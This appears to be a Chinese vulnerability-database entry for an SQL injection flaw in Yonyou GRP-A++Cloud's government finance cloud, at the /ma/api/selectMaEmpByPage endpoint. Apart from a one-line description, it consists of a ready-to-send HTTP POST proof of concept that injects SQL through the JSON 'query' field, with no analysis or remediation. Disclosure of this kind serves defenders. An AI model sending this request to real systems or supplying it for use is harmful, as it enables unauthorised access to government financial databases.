用友政务 GRP-A++Cloud政府财务云 /ma/api/selectMaEmpByPage SQL注入漏洞

日期: 2024-05-21 | 影响软件: 用友政务GRP-A++Cloud | POC: 已公开

漏洞描述

用友政务 GRP-A++Cloud政府财务云 /ma/api/selectMaEmpByPage 存在SQL注入漏洞

PoC代码

POST /ma/api/selectMaEmpByPage HTTP/1.1
Accept-Encoding: gzip
Connection: close
Content-Length: 112
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/[REDACTED] Safari/537.36

{"rgCode":"","setYear":"2024","agencyCode":"","orgCode":"","query":"') AND 74506=745061 AND ('pzhG' LIKE 'pzhG"}

相关漏洞推荐